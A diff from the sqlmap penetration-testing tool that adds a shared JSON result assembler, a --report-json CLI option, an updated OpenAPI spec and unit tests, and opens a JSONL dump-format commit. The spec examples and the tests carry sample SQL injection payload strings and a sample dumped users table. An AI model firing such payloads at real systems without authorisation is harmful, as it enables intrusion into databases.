taskid, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): + """ + Records a single (status, content_type, value) result row into an IPC-style 'data' table. + + Shared by the REST API (via StdDbOut) and the CLI --report-json collector so both capture + results through identical logic (partial outputs are appended; a COMPLETE output replaces + its partials). Mirrors the API's per-content_type merge semantics. + """ + + if content_type is None: + if kb.partRun is not None: + content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) + else: + # Ignore all non-relevant (untyped) messages + return + + output = cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (taskid, content_type)) + + # Delete partial output from the database if we have got a complete output + if status == CONTENT_STATUS.COMPLETE: + if len(output) > 0: + for index in xrange(len(output)): + cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + if kb.partRun: + kb.partRun = None + + elif status == CONTENT_STATUS.IN_PROGRESS: + if len(output) == 0: + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + else: + new_value = "%s%s" % (dejsonize(output[0][2]), value) + cursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + +# Internal detection/plumbing fields that are meaningless to API/report consumers and are stripped +# from the assembled output (the underlying kb/session structures keep them; only the output is cleaned) +INJECTION_INTERNAL_FIELDS = ("conf", "prefix", "suffix", "ptype", "clause") # detection/construction internals, irrelevant to a result consumer +TECHNIQUE_INTERNAL_FIELDS = ("matchRatio", "trueCode", "falseCode", "templatePayload", "where") # per-technique internals + +def _cleanIdentifier(name): + """ + Strips SQL identifier quoting (`backticks`, "double quotes", [brackets]) in a DBMS-INDEPENDENT + way. Used instead of unsafeSQLIdentificatorNaming (which needs Backend.getIdentifiedDbms) so the + result is identical in the CLI and in the API server process - which has no Backend context + because the scan ran in a subprocess. Context-free => API and report stay in parity. + """ + + if isinstance(name, six.string_types): + for ch in ("`", "\"", "[", "]"): + name = name.replace(ch, "") + return name + +def _cleanIdentifiersDeep(value): + """ + Recursively unquotes every identifier in a metadata structure (dict keys and string leaves - + db/table/column names). Used for the schema-listing content types (TABLES/COLUMNS/SCHEMA/COUNT) + whose payload is entirely identifiers + types/counts (never user row data), so cleaning every + string is safe. NOT used for DUMP_TABLE, whose leaf values are real row data. + """ + + if isinstance(value, dict): + return dict((_cleanIdentifier(k), _cleanIdentifiersDeep(v)) for k, v in value.items()) + elif isinstance(value, (list, tuple)): + return [_cleanIdentifiersDeep(_) for _ in value] + elif isinstance(value, six.string_types): + return _cleanIdentifier(value) + return value + +# Schema-listing content types: pure identifiers + types/counts, so identifier quoting is cleaned +# recursively for consistency with DUMP_TABLE (which is handled separately because it carries row data) +IDENTIFIER_KEYED_TYPES = (CONTENT_TYPE.TABLES, CONTENT_TYPE.COLUMNS, CONTENT_TYPE.SCHEMA, CONTENT_TYPE.COUNT) + +def _sanitizeScanData(content_type, value): + """ + Reshapes an assembled result value into the clean, consumer-facing form used by BOTH the API + response and the --report-json file: internal detection/plumbing fields are dropped, the + per-technique map becomes a named list, and dumped-table identifiers are unquoted. Operates on + the dejsonized copy, so the live kb/session structures are never modified. Falls back to the raw + value on any surprise. + """ + + try: + if content_type == CONTENT_TYPE.TECHNIQUES and isinstance(value, (list, tuple)): + cleaned = [] + for injection in value: + if not isinstance(injection, dict): + cleaned.append(injection) + continue + injection = dict(injection) + for field in INJECTION_INTERNAL_FIELDS: + injection.pop(field, None) + techniques = injection.get("data") + if isinstance(techniques, dict): + # turn the {"1": {...}, "2": {...}} map (keyed by opaque technique ids) into an + # ordered list, each entry naming its technique (e.g. "boolean-based blind") + reduced = [] + for stype in sorted(techniques, key=lambda _: int(_) if str(_).isdigit() else _): + details = techniques[stype] + if isinstance(details, dict): + details = dict(details) + for field in TECHNIQUE_INTERNAL_FIELDS: + details.pop(field, None) + key = int(stype) if str(stype).isdigit() else stype + entry = {"technique": PAYLOAD.SQLINJECTION.get(key, key)} + entry.update(details) + details = entry + reduced.append(details) + injection["data"] = reduced + cleaned.append(injection) + return cleaned + + elif content_type == CONTENT_TYPE.DUMP_TABLE and isinstance(value, dict): + infos = value.get("__infos__") or {} + result = {"db": _cleanIdentifier(infos.get("db")), "table": _cleanIdentifier(infos.get("table")), "count": infos.get("count"), "columns": {}} + for column, cell in value.items(): + if column == "__infos__": + continue + # clean the identifier, drop the per-column display 'length', keep just the values list + values = cell.get("values") if isinstance(cell, dict) else cell + if isinstance(values, (list, tuple)): + # sqlmap represents a DB NULL as a single space (DUMP_REPLACEMENTS); surface it as + # JSON null. An empty string "" is a genuine empty value and is left as-is. + values = [None if _ == " " else _ for _ in values] + result["columns"][_cleanIdentifier(column)] = values + return result + + elif content_type in IDENTIFIER_KEYED_TYPES and isinstance(value, (dict, list, tuple)): + return _cleanIdentifiersDeep(value) + + except Exception as ex: + logger.debug("failed to sanitize scan data (content type %s): %s" % (content_type, getSafeExString(ex))) + + return value + +def _assembleData(cursor, taskid): + """ + Assembles all stored results for a task into the canonical scan-data structure + {"success": True, "data": [{status, type, type_name, value}, ...], "error": [...]}. + + Shared by the REST API endpoint /scan//data and the CLI --report-json writer so the two + produce identical output (the CLI report is this dict plus a 'meta' wrapper). + """ + + json_data_message = list() + json_errors_message = list() + + for status, content_type, value in cursor.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_data_message.append({"status": status, "type": content_type, "type_name": CONTENT_TYPE_NAMES.get(content_type), "value": _sanitizeScanData(content_type, dejsonize(value))}) + + for error, in cursor.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_errors_message.append(error) + + return {"success": True, "data": json_data_message, "error": json_errors_message} + +def setupReportCollector(): + """ + Creates an in-memory IPC-style database used to collect results for a CLI --report-json run. + Reuses the same Database/schema the REST API uses so capture+assembly logic is shared. + """ + + collector = Database(":memory:") + collector.connect("report") + collector.init() + return collector + +def writeReportJson(collector, filepath): + """ + Writes the collected results to filepath as JSON, in the same shape as the REST API's + /scan//data response, wrapped with a small 'meta' block for standalone consumers. + """ + + result = _assembleData(collector, REPORT_TASKID) + result["meta"] = { + "api_version": int(RESTAPI_VERSION.split(".")[0]), # MAJOR only - the part that matters for client compatibility + "sqlmap_version": VERSION_STRING, + "url": conf.get("url"), + "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), + } + + with openFile(filepath, "w+") as f: + f.write(getText(jsonize(result))) + # API objects class Database(object): filepath = None @@ -236,31 +428,7 @@ class StdDbOut(object): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - if content_type is None: - if kb.partRun is not None: - content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) - else: - # Ignore all non-relevant messages - return - - output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) - - # Delete partial output from IPC database if we have got a complete output - if status == CONTENT_STATUS.COMPLETE: - if len(output) > 0: - for index in xrange(len(output)): - conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) - - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) - if kb.partRun: - kb.partRun = None - - elif status == CONTENT_STATUS.IN_PROGRESS: - if len(output) == 0: - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) - else: - new_value = "%s%s" % (dejsonize(output[0][2]), value) - conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + _storeData(conf.databaseCursor, self.taskid, value, status, content_type) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) @@ -429,9 +597,13 @@ def task_list(token=None): """ tasks = {} - for key in DataStore.tasks: + for key in list(DataStore.tasks): if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: - tasks[key] = dejsonize(scan_status(key))["status"] + # NOTE: tolerate a task being deleted concurrently (scan_status would then return an + # error envelope without a "status" key); skip it rather than raising KeyError + status = dejsonize(scan_status(key)).get("status") + if status is not None: + tasks[key] = status logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @@ -606,23 +778,15 @@ def scan_data(taskid): Retrieve the data of a scan """ - json_data_message = list() - json_errors_message = list() - if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - # Read all data from the IPC database for the taskid - for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) - - # Read all error messages from the IPC database - for error, in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_errors_message.append(error) + # Read all data and error messages from the IPC database (shared assembler - same output as --report-json) + result = _assembleData(DataStore.current_db, taskid) logger.debug("(%s) Retrieved scan data and error messages" % taskid) - return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + return jsonize(result) # Functions to handle scans' logs @get("/scan//log//") @@ -702,7 +866,7 @@ def version(token=None): """ logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) - return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1], "api_version": int(RESTAPI_VERSION.split(".")[0])}) def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ diff --git a/sqlmap.py b/sqlmap.py index 7ed61e529..da6b3ab0c 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -176,6 +176,10 @@ def main(): init() + if conf.get("reportJson"): + from lib.utils.api import setupReportCollector + conf.reportCollector = setupReportCollector() + if not conf.updateAll: # Postponed imports (faster start) if conf.smokeTest: @@ -568,6 +572,21 @@ def main(): warnMsg = "your sqlmap version is outdated" logger.warning(warnMsg) + # emit the JSON report BEFORE the closing banner, so it does not appear awkwardly after + # "[*] ending @ ..." + if conf.get("reportCollector") is not None: + try: + from lib.utils.api import writeReportJson + writeReportJson(conf.reportCollector, conf.reportJson) + logger.info("JSON report written to '%s'" % conf.reportJson) + except Exception as ex: + logger.error("unable to write JSON report to '%s' ('%s')" % (conf.reportJson, getSafeExString(ex))) + finally: + try: + conf.reportCollector.disconnect() + except Exception as ex: + logger.debug("problem occurred while closing the report collector ('%s')" % getSafeExString(ex)) + if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index a5829d7a4..28e273875 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -1,7 +1,7 @@ openapi: 3.0.3 info: title: sqlmap REST API - version: "1.0.0" + version: "2.0.0" description: | OpenAPI/Swagger specification for sqlmapapi.py, the sqlmap REST API server. @@ -48,11 +48,13 @@ paths: get: tags: [Version] operationId: getVersion - summary: Fetch server version - description: Returns the sqlmap version string reported by the API server. + summary: Fetch server and API version + description: >- + Returns the sqlmap version string and the API contract version (api_version), which follows + semantic versioning independently of the sqlmap version so clients can check compatibility. responses: "200": - description: Server version returned. + description: Server and API version returned. content: application/json: schema: @@ -62,6 +64,7 @@ paths: value: success: true version: "1.10.6.51#dev" + api_version: 2 "401": $ref: "#/components/responses/Unauthorized" @@ -459,8 +462,43 @@ paths: success: true data: - status: 1 - type: 0 - value: [] + type: 2 + type_name: DBMS_FINGERPRINT + value: "back-end DBMS: MySQL >= 5.1" + - status: 1 + type: 4 + type_name: CURRENT_USER + value: "root@%" + - status: 1 + type: 12 + type_name: DBS + value: ["information_schema", "mysql", "testdb"] + - status: 1 + type: 1 + type_name: TECHNIQUES + value: + - place: GET + parameter: id + dbms: MySQL + dbms_version: [">= 5.1"] + os: null + notes: [] + data: + - technique: "boolean-based blind" + title: "AND boolean-based blind - WHERE or HAVING clause" + payload: "id=1 AND 7997=7997" + vector: "AND [INFERENCE]" + comment: "" + - status: 1 + type: 17 + type_name: DUMP_TABLE + value: + db: testdb + table: users + count: 2 + columns: + id: ["1", "2"] + name: ["admin", null] error: [] "401": $ref: "#/components/responses/Unauthorized" @@ -670,7 +708,7 @@ components: VersionResponse: type: object - required: [success, version] + required: [success, version, api_version] properties: success: type: boolean @@ -679,6 +717,13 @@ components: type: string description: sqlmap version string without the `sqlmap/` prefix. example: "1.10.6.51#dev" + api_version: + type: integer + description: >- + MAJOR API-contract version (integer), independent of the sqlmap version. Only the major + is exposed at runtime because only a major bump breaks clients; the full semantic version + is this document's info.version. Clients compare e.g. api_version == 2. + example: 2 additionalProperties: false TaskNewResponse: @@ -811,16 +856,23 @@ components: ScanDataItem: type: object - required: [status, type, value] + required: [status, type, type_name, value] properties: status: type: integer - description: Numeric content status stored by sqlmap. + description: Numeric content status (0 = in progress, 1 = complete). example: 1 type: type: integer description: Numeric content type stored by sqlmap. - example: 0 + example: 2 + type_name: + type: string + nullable: true + description: >- + Human-readable name of the content type (e.g. "DBMS_FINGERPRINT", "CURRENT_USER", + "DBS", "TECHNIQUES", "DUMP_TABLE"). null for any unmapped type. + example: DBMS_FINGERPRINT value: anyOf: - type: string @@ -832,7 +884,13 @@ components: items: {} - type: object additionalProperties: true - description: JSON-decoded scan output value. Shape depends on the content type. + description: >- + JSON-decoded scan output value; its shape depends on the content type. Internal + plumbing is stripped: TECHNIQUES is a list of injection points whose "data" is a list of + techniques each named via a "technique" field (matchRatio/trueCode/falseCode/ + templatePayload/where/conf are not exposed); DUMP_TABLE is + {db, table, count, columns: {column: [values]}} (the internal __infos__ wrapper and + per-column length are not exposed). additionalProperties: true ScanDataResponse: diff --git a/tests/test_report.py b/tests/test_report.py new file mode 100644 index 000000000..86eb9d9cf --- /dev/null +++ b/tests/test_report.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSON scan report collector/assembler (lib/utils/api.py), shared by the REST API +endpoint /scan//data and the CLI --report-json writer. + +The whole point of the feature is that both produce the SAME structure, so these +tests pin the shared contract: the per-content_type merge (partial -> complete), +the assembled {success, data:[{status,type,type_name,value}], error} shape, the +partRun fallback for untyped output, and the meta-wrapped file written to disk. +A regression here is a divergence between the API and the report - the exact bug +this design exists to prevent. +""" + +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf, kb +from lib.core.enums import CONTENT_TYPE, CONTENT_STATUS + + +class _CollectorCase(unittest.TestCase): + def setUp(self): + self.c = api.setupReportCollector() + self._saved_partRun = kb.get("partRun") + + def tearDown(self): + kb.partRun = self._saved_partRun + try: + self.c.disconnect() + except Exception: + pass + + def _store(self, value, content_type, status=CONTENT_STATUS.COMPLETE): + api._storeData(self.c, api.REPORT_TASKID, value, status, content_type) + + +class TestAssembledShape(_CollectorCase): + def test_structure_and_typename(self): + self._store("MySQL >= 5.0.12", CONTENT_TYPE.DBMS_FINGERPRINT) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["success"], True) + self.assertEqual(result["error"], []) + self.assertEqual(len(result["data"]), 1) + entry = result["data"][0] + self.assertEqual(sorted(entry.keys()), ["status", "type", "type_name", "value"]) + self.assertEqual(entry["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(entry["type_name"], "DBMS_FINGERPRINT") # int -> readable name + self.assertEqual(entry["value"], "MySQL >= 5.0.12") + + def test_structured_values_preserved(self): + # dict / list / bool must survive as native JSON types (not stringified) - this is what + # makes the report machine-consumable, exactly like the API + self._store({"url": "http://h/?id=1", "data": None}, CONTENT_TYPE.TARGET) + self._store(["a", "b", "c"], CONTENT_TYPE.DBS) + self._store(True, CONTENT_TYPE.IS_DBA) + by_type = {d["type"]: d["value"] for d in api._assembleData(self.c, api.REPORT_TASKID)["data"]} + self.assertEqual(by_type[CONTENT_TYPE.TARGET], {"url": "http://h/?id=1", "data": None}) + self.assertEqual(by_type[CONTENT_TYPE.DBS], ["a", "b", "c"]) + self.assertIs(by_type[CONTENT_TYPE.IS_DBA], True) + + +class TestMergeSemantics(_CollectorCase): + def test_complete_replaces_partials(self): + # the API appends IN_PROGRESS chunks then a COMPLETE replaces them; final value is COMPLETE + self._store("roo", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.IN_PROGRESS) + self._store("t@localhost", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.COMPLETE) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) # one row, not two + self.assertEqual(data[0]["value"], "t@localhost") + self.assertEqual(data[0]["status"], CONTENT_STATUS.COMPLETE) + + def test_inprogress_chunks_accumulate(self): + self._store("foo", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + self._store("bar", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(data[0]["value"], "foobar") # appended + + +class TestPartRunFallback(_CollectorCase): + def test_untyped_output_tagged_via_partrun(self): + # untyped output during a part-run (e.g. the fingerprint line) is tagged by kb.partRun - + # this is how DBMS_FINGERPRINT is captured with no explicit content_type + kb.partRun = "getFingerprint" + self._store("back-end DBMS: MySQL >= 5.1", None) # content_type=None + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) + self.assertEqual(data[0]["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(data[0]["value"], "back-end DBMS: MySQL >= 5.1") + + def test_untyped_output_without_partrun_is_ignored(self): + kb.partRun = None + self._store("just a log line", None) + self.assertEqual(api._assembleData(self.c, api.REPORT_TASKID)["data"], []) + + +class TestSanitize(unittest.TestCase): + """The shared assembler strips internal plumbing (matchRatio/trueCode/falseCode/templatePayload/ + where/conf) from TECHNIQUES and restructures DUMP_TABLE (drop __infos__ wrapper + per-column + 'length'), so neither the API nor the report leaks consumer-irrelevant internals. Deterministic + (no run variance), unlike the live API-vs-report comparison.""" + + def test_techniques_internals_stripped_and_named(self): + injection = { + "place": "GET", "parameter": "id", "ptype": 1, "dbms": "MySQL", + "conf": {"string": "x", "regexp": None}, # internal -> must be dropped + "data": {"1": {"title": "boolean", "payload": "id=1 AND 1=1", "vector": "AND [INFERENCE]", + "comment": "", "where": 1, "matchRatio": 0.74, "trueCode": 200, + "falseCode": 200, "templatePayload": None}, + "6": {"title": "union", "payload": "id=1 UNION ...", "vector": "...", "comment": ""}}, + } + injection["ptype"] = 1 + injection["clause"] = [1, 8, 9] + injection["prefix"] = "" + injection["suffix"] = "" + original = json.loads(json.dumps(injection)) # deep copy to prove no mutation + out = api._sanitizeScanData(CONTENT_TYPE.TECHNIQUES, [injection])[0] + # detection/construction internals dropped + for field in ("conf", "ptype", "clause", "prefix", "suffix"): + self.assertNotIn(field, out) + # data is now an ordered LIST (not a map keyed by opaque ids), each entry named + self.assertIsInstance(out["data"], list) + self.assertEqual([t["technique"] for t in out["data"]], ["boolean-based blind", "UNION query"]) + first = out["data"][0] + self.assertEqual(sorted(first.keys()), ["comment", "payload", "technique", "title", "vector"]) + self.assertEqual(first["payload"], "id=1 AND 1=1") # consumer-relevant fields preserved + self.assertEqual(out["dbms"], "MySQL") + # input not mutated (operates on a copy - must not corrupt live kb.injections) + self.assertEqual(injection, original) + + def test_dump_table_restructured_and_unquoted(self): + value = { + "__infos__": {"db": "`master`", "table": "users", "count": 3}, + "id": {"length": 2, "values": ["1", "2", "3"]}, + "`name`": {"length": 9, "values": ["alice", " ", ""]}, # backtick id; " " is a DB NULL, "" is empty + } + out = api._sanitizeScanData(CONTENT_TYPE.DUMP_TABLE, value) + self.assertEqual(sorted(out.keys()), ["columns", "count", "db", "table"]) + self.assertNotIn("__infos__", out) + self.assertEqual(out["db"], "master") # quoting stripped (context-free) + self.assertEqual(out["table"], "users") + self.assertEqual(out["count"], 3) + # columns flattened to value lists (no 'length'), identifiers unquoted + self.assertEqual(out["columns"]["id"], ["1", "2", "3"]) + self.assertNotIn("`name`", out["columns"]) + # DB NULL (" ") -> JSON null; genuine empty string ("") preserved + self.assertEqual(out["columns"]["name"], ["alice", None, ""]) + + def test_schema_listing_identifiers_cleaned(self): + # TABLES/COLUMNS/SCHEMA/COUNT must have their identifiers unquoted too (consistency with + # DUMP_TABLE) - a regression here is the exact "X cleaned but Y not" inconsistency to avoid + tables = api._sanitizeScanData(CONTENT_TYPE.TABLES, {"`master`": ["users", "`order`"]}) + self.assertEqual(tables, {"master": ["users", "order"]}) + columns = api._sanitizeScanData(CONTENT_TYPE.COLUMNS, + {"`master`": {"users": {"id": "int", "`name`": "varchar(500)"}}}) + self.assertEqual(columns, {"master": {"users": {"id": "int", "name": "varchar(500)"}}}) + schema = api._sanitizeScanData(CONTENT_TYPE.SCHEMA, {"sys": {"w": {"`events`": "varchar(128)"}}}) + self.assertEqual(schema, {"sys": {"w": {"events": "varchar(128)"}}}) + count = api._sanitizeScanData(CONTENT_TYPE.COUNT, {"`master`": {"5": ["users"]}}) + self.assertEqual(count, {"master": {"5": ["users"]}}) + + def test_identifier_unquoting_is_context_free(self): + # all DBMS quote styles handled without Backend context (so CLI and API server agree) + self.assertEqual(api._cleanIdentifier("`tbl`"), "tbl") # MySQL + self.assertEqual(api._cleanIdentifier('"tbl"'), "tbl") # PostgreSQL/Oracle + self.assertEqual(api._cleanIdentifier("[tbl]"), "tbl") # MSSQL + self.assertEqual(api._cleanIdentifier("plain"), "plain") + + def test_other_types_pass_through(self): + # non-TECHNIQUES/DUMP_TABLE values are returned unchanged + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.CURRENT_USER, "root@%"), "root@%") + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.DBS, ["a", "b"]), ["a", "b"]) + self.assertIs(api._sanitizeScanData(CONTENT_TYPE.IS_DBA, True), True) + + +class TestErrors(_CollectorCase): + def test_errors_captured(self): + self.c.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (api.REPORT_TASKID, "something failed")) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["error"], ["something failed"]) + + +class TestWriteReportJson(_CollectorCase): + def test_file_is_valid_json_with_meta(self): + self._store("admin", CONTENT_TYPE.CURRENT_USER) + saved_url = conf.get("url") + conf.url = "http://target/?id=1" + fd, path = tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + loaded = json.load(open(path)) + # core shape == API /scan//data, plus a meta wrapper + self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) + self.assertEqual(loaded["data"][0]["value"], "admin") + self.assertEqual(loaded["data"][0]["type_name"], "CURRENT_USER") + self.assertEqual(loaded["meta"]["url"], "http://target/?id=1") + self.assertEqual(loaded["meta"]["api_version"], 2) # MAJOR-only integer, for compatibility checks + self.assertIn("sqlmap_version", loaded["meta"]) + self.assertIn("timestamp", loaded["meta"]) + finally: + conf.url = saved_url + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 403855f7013e4b33ef9a88b5cb184d30d0b664b4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 16:04:39 +0200 Subject: [PATCH 014/165] Adding JSONL as a dump format --- data/txt/sha256sums.txt | 9 ++- lib/core/dump.py | 16 +++- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- tests/test_dump_jsonl.py | 164 +++++++++++++++++++++++++++++++++++++++ 6 files changed, 185 insertions(+), 9 deletions(-) create mode 100644 tests/test_dump_jsonl.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b95a83ed2..16b7af2c6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -175,8 +175,8 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -e4b23512625bc377c0e0924d8113c595452320d8c66014828da5d8258a77f55a lib/core/dump.py -23e33f0b457e2a7114c9171ba9b42e1751b71ee3f384bba7fad39e4490adb803 lib/core/enums.py +2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py +6b9932d9c789a0e2ac28a493fb7914f49100a1c91de989bcdb20df9d40648522 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1e2a5277293de9d3d1e65b401013baf1c4033162e580f6891ca6a2686e666894 lib/core/settings.py +72448bcfc929496fb0333480a780163a395f65fff92898ad8108daf54a12799b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -199,7 +199,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -7bc8612fbd7ba390ab19f908c370c126ae66afa200bc7975800599ecbe029f0c lib/parse/cmdline.py +3f298a58a41225ef67c57b2cf08c71f2eacbab8f98463b4461f45933d6a82f69 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -577,6 +577,7 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py +c706c5dad287e2e8cf707f7aa5eeb9394eddc6ef3a4fea809babf3ae77e8d7fa tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py diff --git a/lib/core/dump.py b/lib/core/dump.py index 9d0eb3857..ebc7d0cd0 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission """ import hashlib +import json import os import re import shutil @@ -61,6 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic +from thirdparty.odict import OrderedDict class Dump(object): """ @@ -461,7 +463,7 @@ class Dump(object): if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb)) - elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) @@ -624,6 +626,7 @@ class Dump(object): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] + record = OrderedDict() if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: self._write(" ...") @@ -674,6 +677,11 @@ class Dump(object): dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: 